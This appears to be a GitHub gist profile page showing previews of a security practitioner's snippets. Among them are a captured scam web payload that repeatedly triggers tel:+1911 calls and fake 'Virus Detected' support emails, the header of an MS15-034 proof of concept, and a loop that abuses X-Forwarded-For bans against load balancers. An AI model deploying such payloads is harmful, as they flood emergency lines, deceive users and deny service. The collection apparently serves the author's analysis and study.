Skip to content

Instantly share code, notes, and snippets.

View maxrp's full-sized avatar

Max P maxrp

View GitHub Profile
@maxrp
maxrp / aslr_test.c
Last active June 13, 2017 02:56
aslr_test c vs. nim
#include <stdio.h>
#include <stdlib.h>
int main() {
int stack = 10;
int* heap = malloc(sizeof(int));
printf("stack = %p\nheap = %p\n\n", &stack, heap);
return 0;
<!-- Stage 2: payload from meetdesai.com/ipas/+&cd=2&hl=en&ct=clnk&gl=us
this is the stage that either calls folks, or opens mails to desai, or both. -->
<h1>LOLOLOLOLOLOLOL</h1>
<a href="tel:+1911" id="tel"></a>
<a href="mailto:meets_desai@Yahoo.com?subject=Virus Detected!&body=We detected a Virus on your device! Call Apple Support now!" id="mail"></a>
<script>
for(i=0;i<10100101010010101001010100101001010;++i){
document.getElementById("tel").click(); document.getElementById("mail").click();
window.location = window.location;
#!/bin/bash
# Sets the date on a Veho VCC MUVI-PRO micro camera
# Usage: set_muvi_pro_date.sh /dev/sdb
mount "${1}" /mnt &&
date +"%Y.%m.%d %H:%M:%S" > /mnt/time.txt &&
umount /mnt
@maxrp
maxrp / sheetquery.py
Last active October 19, 2015 18:02
notes on google sheets query
#!/usr/bin/python3
# to install dependencies, run: pip install gspread IPy oauth2client
import json
import gspread
import sys
from IPy import IP
from oauth2client.client import SignedJwtAssertionCredentials as jwtassert
@maxrp
maxrp / chromehistory2csv.sh
Created September 1, 2015 20:57
Dump chrome history with last visit times
#!/bin/bash
sqlite3 "${1}" <<!
.headers on
.mode csv
SELECT urls.url, urls.title, urls.visit_count, datetime(urls.last_visit_time / 1000000 + (strftime('%s', '1601-01-01')), 'unixepoch')
FROM urls, visits WHERE urls.id = visits.url;
!

Keybase proof

I hereby claim:

  • I am maxrp on github.
  • I am maxp (https://keybase.io/maxp) on keybase.
  • I have a public key whose fingerprint is 260D 9167 F8D9 3913 3564 E571 7D96 4D33 6114 2ACF

To claim this, I am signing this object:

@maxrp
maxrp / new-case
Last active August 29, 2015 14:19
A simple logbook
#!/bin/bash
## Usage: . new-case 'Investigating whacky happenstance.'
date=`date +%Y-%m-%d`
if [ -d $date ]; then
echo "Case ${date} exists."
cd $date
else
echo "Starting record for ${date}."
@maxrp
maxrp / MS15-034.py
Last active August 29, 2015 14:19
A slightly more durable PoC for MS15-034/CVE-2015-1635
#!/usr/bin/env python
__author__ = "Max R.D. Parmer <maxp@trystero.is>"
"""
A moderately more consistent implementation of MS15-034/CVE-2015-1635 PoC
which is a bit more tolerant of redirects and SSL.
For best results, direct at a static file i.e. https://example.com/favico.ico
"""
@maxrp
maxrp / invoke.sh
Created January 15, 2015 23:16
if something bans based on x-forwarded-for, you might be able to get it to ban stuff
#!/usr/bin/bash
while true; do cat loadbalancer-ips ; done | parallel --jobs 10 'bash sma.sh {} backend.example.com'